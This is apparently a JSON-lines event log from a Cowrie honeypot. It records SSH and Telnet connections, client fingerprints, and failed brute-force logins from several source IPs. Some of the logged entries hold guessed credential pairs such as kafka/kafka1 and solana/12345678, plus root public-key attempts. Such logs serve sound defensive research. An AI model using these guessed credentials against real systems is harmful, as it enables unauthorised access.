{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:33:13.717629Z","src_ip":"163.7.6.74","session":"8df9817d008d","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:33:13.752094Z","src_ip":"80.94.92.186","session":"1b0c3cea4f93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:33:13.756340Z","src_ip":"80.94.92.186","session":"1b0c3cea4f93","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:33:13.968603Z","src_ip":"163.7.6.74","session":"8df9817d008d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"kafka","password":"kafka1","message":"login attempt [kafka/kafka1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:33:14.975580Z","src_ip":"163.7.6.74","session":"8df9817d008d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"12345678","message":"login attempt [solana/12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:33:15.156765Z","src_ip":"80.94.92.186","session":"1b0c3cea4f93","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:33:16.232768Z","src_ip":"163.7.6.74","session":"8df9817d008d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.8","message":"Connection lost after 2.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:33:16.440285Z","src_ip":"80.94.92.186","session":"1b0c3cea4f93","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":52162,"dst_ip":"159.203.135.109","dst_port":23,"session":"79b5e8f030cf","protocol":"telnet","message":"New connection: 69.6.249.0:52162 (159.203.135.109:23) [session: 79b5e8f030cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:33:17.438920Z"}
{"eventid":"cowrie.session.closed","duration":32.203930377960205,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:33:21.741524Z","src_ip":"69.6.249.0","session":"cba291acd243","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.30733633041382,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:33:22.918108Z","src_ip":"69.6.249.0","session":"c693b9b3480c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":52164,"dst_ip":"159.203.135.109","dst_port":23,"session":"0795e409f976","protocol":"telnet","message":"New connection: 69.6.249.0:52164 (159.203.135.109:23) [session: 0795e409f976]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:33:23.033793Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":52176,"dst_ip":"159.203.135.109","dst_port":23,"session":"10a0ebb02475","protocol":"telnet","message":"New connection: 69.6.249.0:52176 (159.203.135.109:23) [session: 10a0ebb02475]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:33:24.290598Z"}
{"eventid":"cowrie.session.closed","duration":32.83703327178955,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:33:24.816876Z","src_ip":"69.6.249.0","session":"996af46e7710","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":40748,"dst_ip":"159.203.135.109","dst_port":23,"session":"d631835f6f0b","protocol":"telnet","message":"New connection: 69.6.249.0:40748 (159.203.135.109:23) [session: d631835f6f0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:33:25.776589Z"}
{"eventid":"cowrie.session.closed","duration":31.15270233154297,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:33:34.351702Z","src_ip":"69.6.249.0","session":"45fc9d1bc878","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.59696340560913,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:33:40.549432Z","src_ip":"69.6.249.0","session":"ce9af19adca5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.17192196846008,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:33:40.634781Z","src_ip":"69.6.249.0","session":"611f4de07e85","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.87272071838379,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:33:41.662853Z","src_ip":"69.6.249.0","session":"611d12f35421","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.189117431640625,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:33:42.045540Z","src_ip":"69.6.249.0","session":"5a9a9f1531e0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":52472,"dst_ip":"159.203.135.109","dst_port":23,"session":"e8ea0841aa12","protocol":"telnet","message":"New connection: 69.6.249.0:52472 (159.203.135.109:23) [session: e8ea0841aa12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:33:44.219653Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.249.0","src_port":43790,"dst_ip":"159.203.135.109","dst_port":23,"session":"664c3ab1c2d7","protocol":"telnet","message":"New connection: 69.6.249.0:43790 (159.203.135.109:23) [session: 664c3ab1c2d7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:33:44.570583Z"}
{"eventid":"cowrie.session.connect","src_ip":"62.210.207.172","src_port":34164,"dst_ip":"10.17.0.5","dst_port":22,"session":"0572485b6f4f","protocol":"ssh","message":"New connection: 62.210.207.172:34164 (10.17.0.5:22) [session: 0572485b6f4f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:33:44.675395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:33:44.680073Z","src_ip":"62.210.207.172","session":"0572485b6f4f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:33:44.760866Z","src_ip":"62.210.207.172","session":"0572485b6f4f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"cd:b8:a7:ff:b6:d3:20:7c:84:02:86:3b:fd:54:f4:76","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCk+/OUMQBctLaq9ExIMxyPqgYP8E578cc98dkSctv+1wTd4AXoAfVcDSUiyQKUn8aEElvlYStQX4ub2n18WiteAw77cAcDwTv2/uP1vqVqewB0wqL5CX9hEgMmnuWRkok0c1w07vpogb+XcOwJBJXLeNFKN9kbh9+pmYWTgp+ViPEDf+uJvcmsXMN408AN33OkmDvA5v0E0UUyAGcpBdZsmwmsELqU1SB5tPuKPMiDDFyLbIb9jt3eZBwNQnq4Psa/bIaMdTV2J+cR1Ku2+oy/3712kiWTCI9Q0m2rtYhexuVEz2fqdHtC/f5xZtNLCM9a5geHRhxFT3botfZfrUqt","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint cd:b8:a7:ff:b6:d3:20:7c:84:02:86:3b:fd:54:f4:76","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:33:45.455070Z","src_ip":"62.210.207.172","session":"0572485b6f4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"cd:b8:a7:ff:b6:d3:20:7c:84:02:86:3b:fd:54:f4:76","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCk+/OUMQBctLaq9ExIMxyPqgYP8E578cc98dkSctv+1wTd4AXoAfVcDSUiyQKUn8aEElvlYStQX4ub2n18WiteAw77cAcDwTv2/uP1vqVqewB0wqL5CX9hEgMmnuWRkok0c1w07vpogb+XcOwJBJXLeNFKN9kbh9+pmYWTgp+ViPEDf+uJvcmsXMN408AN33OkmDvA5v0E0UUyAGcpBdZsmwmsELqU1SB5tPuKPMiDDFyLbIb9jt3eZBwNQnq4Psa/bIaMdTV2J+cR1Ku2+oy/3712kiWTCI9Q0m2rtYhexuVEz2fqdHtC/f5xZtNLCM9a5geHRhxFT3botfZfrUqt","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:33:45.458953Z","src_ip":"62.210.207.172","session":"0572485b6f4f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"7f:40:48:5f:de:5b:9e:0e:ac:43:05:67:bc:56:f9:36","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC5lJ/QHmRQBjn3CXEXGEyufaToGEeSqvYaOLG7KH1Bv5Kro2oXDpyx+QsNOKv59PqO7lAl3Kpy/WdUAYHh6Lkb9UDyBC93s+zp1T64t0Z2wKCCKH0za35cnvnf+ewPq7ec0wB+L3/8hh3OIGrIi24J3+j4bHX6/NkPVtGHFsbkwkCdgZ2g0LwO00GI15QDdQ8h51mu3MalxAgUuUTND5SNtElbfEHba7g8avlKUfgIH892eh7ntVR2cSjYpMQXfCiCnSbJuKOk8snDE9teL6jkas0Ihez4benh6sWaeZ/dBinugoMC9cOHRp9eVayzNLC02Q0j87nf7wRE+EaEqyLSwksQcEbJ3mMWXJopXTE2uAx4GuU9LXR0fJqXagLhV9qkzKFHOmlLzAdfeCqGaa4Pv/XXsbrGpjh3SApgBkJcJu7Kl2MckeHx1cRNHOWp0XmkUTdWeHA3Db0z+pAd5jKka12BGTCdPaixHfEq6lh0mWWNlm6+u38Ax/hjeT4sm38=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 7f:40:48:5f:de:5b:9e:0e:ac:43:05:67:bc:56:f9:36","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:33:45.543378Z","src_ip":"62.210.207.172","session":"0572485b6f4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"7f:40:48:5f:de:5b:9e:0e:ac:43:05:67:bc:56:f9:36","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC5lJ/QHmRQBjn3CXEXGEyufaToGEeSqvYaOLG7KH1Bv5Kro2oXDpyx+QsNOKv59PqO7lAl3Kpy/WdUAYHh6Lkb9UDyBC93s+zp1T64t0Z2wKCCKH0za35cnvnf+ewPq7ec0wB+L3/8hh3OIGrIi24J3+j4bHX6/NkPVtGHFsbkwkCdgZ2g0LwO00GI15QDdQ8h51mu3MalxAgUuUTND5SNtElbfEHba7g8avlKUfgIH892eh7ntVR2cSjYpMQXfCiCnSbJuKOk8snDE9teL6jkas0Ihez4benh6sWaeZ/dBinugoMC9cOHRp9eVayzNLC02Q0j87nf7wRE+EaEqyLSwksQcEbJ3mMWXJopXTE2uAx4GuU9LXR0fJqXagLhV9qkzKFHOmlLzAdfeCqGaa4Pv/XXsbrGpjh3SApgBkJcJu7Kl2MckeHx1cRNHOWp0XmkUTdWeHA3Db0z+pAd5jKka12BGTCdPaixHfEq6lh0mWWNlm6+u38Ax/hjeT4sm38=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:33:45.547339Z","src_ip":"62.210.207.172","session":"0572485b6f4f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"c8:5d:5c:c1:ba:ce:f8:e7:c5:6c:d0:43:8a:fe:ef:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDn6uL6pCBAMD9F7r257CX9W5mFDj3ILennbYpvqibGGuGa1ZPtyLVoiT8n9gvmJd47R/xbnovmANPR8wTnisZ1up/mK+AcJzRSe+2VutUYH+UjunkUWz6uZPSedGG2kOv9nyfySnNbj8WLXotbu5V4OhAj4dSyZfb/j6E0ej8kOjgus8wfOf0x0yIi7JLjsX2uzb2YoPEeGKE77aTdDm7XcDs9u57kaY2g/OF4P7xYvYdPOtszM+k3o5++p5kop0YeIFDeKRrQLPURFlMK6jy7v2kjn3ngyA4+kgcozhqGe1q13aPf+u4fqDFCyW3G8g5GyF6n6HzIHvImiJVk50HikRDFpAZInzJspAM9IkesGqMnnZ70Iy8COahd+s2Fc/RSOcsM6qKVZ5pmGcSGt+mYmLoHlArHXAbniclaYOpR585EM8DwARfia4qOUm08RhZ9LqdtSZjDYFzp/XYY6ZpxasaD574Dz+w2Ju4ez+6g+0QwIwsdaxXJ7ta4ToDeMIc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint c8:5d:5c:c1:ba:ce:f8:e7:c5:6c:d0:43:8a:fe:ef:09","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:33:45.630885Z","src_ip":"62.210.207.172","session":"0572485b6f4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"c8:5d:5c:c1:ba:ce:f8:e7:c5:6c:d0:43:8a:fe:ef:09","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDn6uL6pCBAMD9F7r257CX9W5mFDj3ILennbYpvqibGGuGa1ZPtyLVoiT8n9gvmJd47R/xbnovmANPR8wTnisZ1up/mK+AcJzRSe+2VutUYH+UjunkUWz6uZPSedGG2kOv9nyfySnNbj8WLXotbu5V4OhAj4dSyZfb/j6E0ej8kOjgus8wfOf0x0yIi7JLjsX2uzb2YoPEeGKE77aTdDm7XcDs9u57kaY2g/OF4P7xYvYdPOtszM+k3o5++p5kop0YeIFDeKRrQLPURFlMK6jy7v2kjn3ngyA4+kgcozhqGe1q13aPf+u4fqDFCyW3G8g5GyF6n6HzIHvImiJVk50HikRDFpAZInzJspAM9IkesGqMnnZ70Iy8COahd+s2Fc/RSOcsM6qKVZ5pmGcSGt+mYmLoHlArHXAbniclaYOpR585EM8DwARfia4qOUm08RhZ9LqdtSZjDYFzp/XYY6ZpxasaD574Dz+w2Ju4ez+6g+0QwIwsdaxXJ7ta4ToDeMIc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:33:45.634389Z","src_ip":"62.210.207.172","session":"0572485b6f4f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"46:06:bd:1e:1a:7b:ae:19:6f:f6:d9:c2:74:bd:03:36","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDGhvOn76GgoNONmfDBS/uNIN5WBnwnaiKMCdK1SzriWHmAPXcO2OC5qPTDDroeD9VDK1bgEBRzRsRPOxruwDRgXbtCmrVzfc+0Bp1g2KZcaO+N/x3RlElzn06MeqGjJju0XunObWuN065OLJH5gZzAdob/iONrma0mfrGiM/8ADTpvsd3xPIx5EvEf2/SqCfwsaHwfujE1YY/zf8d16PRwxMzwSQckRsYs4QhcAb7L+Z4GRfOBaz4Vx2bu2gWRYC7OfUo1dAUwDm4ciSk2PhMQbD4nf9s1ylln0EFlpUtZlpSbX2TpJMILgoM8l3P7ZQ02TWhymnxcju9Ju5OtzkGK1xRm0hDQOjOe0Hu92kuHtn16qeyl6Ii8qbWZ4IRZug63Ko5JW3P0PmA2yc00gb9+VCfq4qFlDojed/NxN8uQqDBlfHlUt2LGyeKY9D/dcW2o+JV4XGqYsgFj+dWMlyZzo1SASmKXhIzwhiAQDTufMiKi7TRP4mRqfRhfFk/Sbm8=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 46:06:bd:1e:1a:7b:ae:19:6f:f6:d9:c2:74:bd:03:36","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:33:45.716306Z","src_ip":"62.210.207.172","session":"0572485b6f4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"46:06:bd:1e:1a:7b:ae:19:6f:f6:d9:c2:74:bd:03:36","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDGhvOn76GgoNONmfDBS/uNIN5WBnwnaiKMCdK1SzriWHmAPXcO2OC5qPTDDroeD9VDK1bgEBRzRsRPOxruwDRgXbtCmrVzfc+0Bp1g2KZcaO+N/x3RlElzn06MeqGjJju0XunObWuN065OLJH5gZzAdob/iONrma0mfrGiM/8ADTpvsd3xPIx5EvEf2/SqCfwsaHwfujE1YY/zf8d16PRwxMzwSQckRsYs4QhcAb7L+Z4GRfOBaz4Vx2bu2gWRYC7OfUo1dAUwDm4ciSk2PhMQbD4nf9s1ylln0EFlpUtZlpSbX2TpJMILgoM8l3P7ZQ02TWhymnxcju9Ju5OtzkGK1xRm0hDQOjOe0Hu92kuHtn16qeyl6Ii8qbWZ4IRZug63Ko5JW3P0PmA2yc00gb9+VCfq4qFlDojed/NxN8uQqDBlfHlUt2LGyeKY9D/dcW2o+JV4XGqYsgFj+dWMlyZzo1SASmKXhIzwhiAQDTufMiKi7TRP4mRqfRhfFk/Sbm8=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:33:45.719929Z","src_ip":"62.210.207.172","session":"0572485b6f4f","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"98:52:a8:31:cd:81:05:7a:59:b7:24:63:39:75:75:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC1ERXn7dQbAyBaWWLUnXN7aztBI1M0jguMht/Q63zNFamaUAV9JKZ7Br5m6Q0Tpzq6iuFAEIxyVQaOph5P0Bfad+83r+PQ2umMnnqn85UWKesWEkkUoIJyAKG2qLUFfiF/CQLpn4gFuCETYjQ6BLwB7TgzXnsj4E3tKJv57s89jLXYwhLCALxs8x2ay0ekiXy06eJWbtvlun+JX+5GVIQIMbOn6i2jVB6cgj8wSfqDNYUvAg2EQaWKBstq1bt9zEMOofzD5NzCyI9H3zwxttveeVoTfY6xETqylL8EslfG57S+he2DLo/X7wtV/t7bXT/ll+AI5+v8h9FnsJ7NAoAVerseQFHr496vNH/AnHF99388XA2vDLtk27u1brLYTlxm7Yds03q3CKgpQzDrROfxxKwPVUgFlw1IlyXxjO6kyoX+bU+UOad3RwFf0udiLq/z/X209a0f2msC1QmIi18UdX6JivILao/12l9MkgWTv/Avc0Q8kQvNw50Pp1O6NSU=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 98:52:a8:31:cd:81:05:7a:59:b7:24:63:39:75:75:77","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:33:45.801388Z","src_ip":"62.210.207.172","session":"0572485b6f4f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"98:52:a8:31:cd:81:05:7a:59:b7:24:63:39:75:75:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQC1ERXn7dQbAyBaWWLUnXN7aztBI1M0jguMht/Q63zNFamaUAV9JKZ7Br5m6Q0Tpzq6iuFAEIxyVQaOph5P0Bfad+83r+PQ2umMnnqn85UWKesWEkkUoIJyAKG2qLUFfiF/CQLpn4gFuCETYjQ6BLwB7TgzXnsj4E3tKJv57s89jLXYwhLCALxs8x2ay0ekiXy06eJWbtvlun+JX+5GVIQIMbOn6i2jVB6cgj8wSfqDNYUvAg2EQaWKBstq1bt9zEMOofzD5NzCyI9H3zwxttveeVoTfY6xETqylL8EslfG57S+he2DLo/X7wtV/t7bXT/ll+AI5+v8h9FnsJ7NAoAVerseQFHr496vNH/AnHF99388XA2vDLtk27u1brLYTlxm7Yds03q3CKgpQzDrROfxxKwPVUgFlw1IlyXxjO6kyoX+bU+UOad3RwFf0udiLq/z/X209a0f2msC1QmIi18UdX6JivILao/12l9MkgWTv/Avc0Q8kQvNw50Pp1O6NSU=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:33:45.805460Z","src_ip":"62.210.207.172","session":"0572485b6f4f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T09:33:45.889033Z","src_ip":"62.210.207.172","session":"0572485b6f4f","protocol":"ssh"}
